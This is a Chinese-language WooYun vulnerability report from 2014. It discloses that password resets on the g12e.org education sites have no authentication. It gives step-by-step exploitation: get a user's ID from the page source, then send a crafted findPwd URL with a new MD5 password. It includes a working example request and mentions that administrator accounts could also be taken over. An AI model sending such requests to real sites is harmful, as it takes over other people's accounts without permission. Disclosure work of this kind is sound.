漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-050161
漏洞标题：正保远程教育旗下网站可重置任意用户密码
相关厂商：g12e.org
漏洞作者： Coffee
提交时间：2014-02-10 18:28
修复时间：2014-02-20 18:28
公开时间：2014-02-20 18:28
漏洞类型：设计缺陷/逻辑错误
危害等级：中
自评Rank：8
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-02-10： 细节已通知厂商并且等待厂商处理中
2014-02-20： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
漏洞影响网站：中华会计网校、医学教育网、建设工程教育网、法律教育网、职业培训教育网、创业实训网、中小学教育网、中小学教育联盟网、自考365、成人高考教育网、考研教育网、外语教育网、中文教育网、ITAT教育网、财考网、正保开放平台。
都是在线学习性质的网站，且用户众多，涉及学员账户安全等问题。
可通过漏洞实现重置任意用户密码。
新手来混个邀请码~
详细说明：
以旗下的中小学教育联盟网为例(联盟已有 4158 所学校、64293 条资源、699639 位实名用户):www.g12r.org
#1、userNO的取得
http://portal.g12e.org/user/用户名，右键查看源文件，得到spaceID，即为该用户的userNO。
如http://portal.g12e.org/user/test，对应userNO:21018551。
#2、重置密码链接
http://portal.g12e.org/sys/user/findPwd/userFindPwd4.shtm?userNO=用户ID&newPwd=MD5（32位）加密的新密码
如重置用户名为test的用户密码为123456：
http://portal.g12e.org/sys/user/findPwd/userFindPwd4.shtm?userNO=21018551&newPwd=E10ADC3949BA59ABBE56E057F20F883E
#3、成功登录
漏洞证明：
还可用此方法重置管理员密码，继续深入，不过我就不来了。
修复方案：
重置密码的链接添加验证。
另外不好意思把g12e.org用户名为test的同学密码给改了，麻烦管理员再处理一下。
版权声明：转载请注明来源 Coffee@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-02-20 18:28
厂商回复：
最新状态：
暂无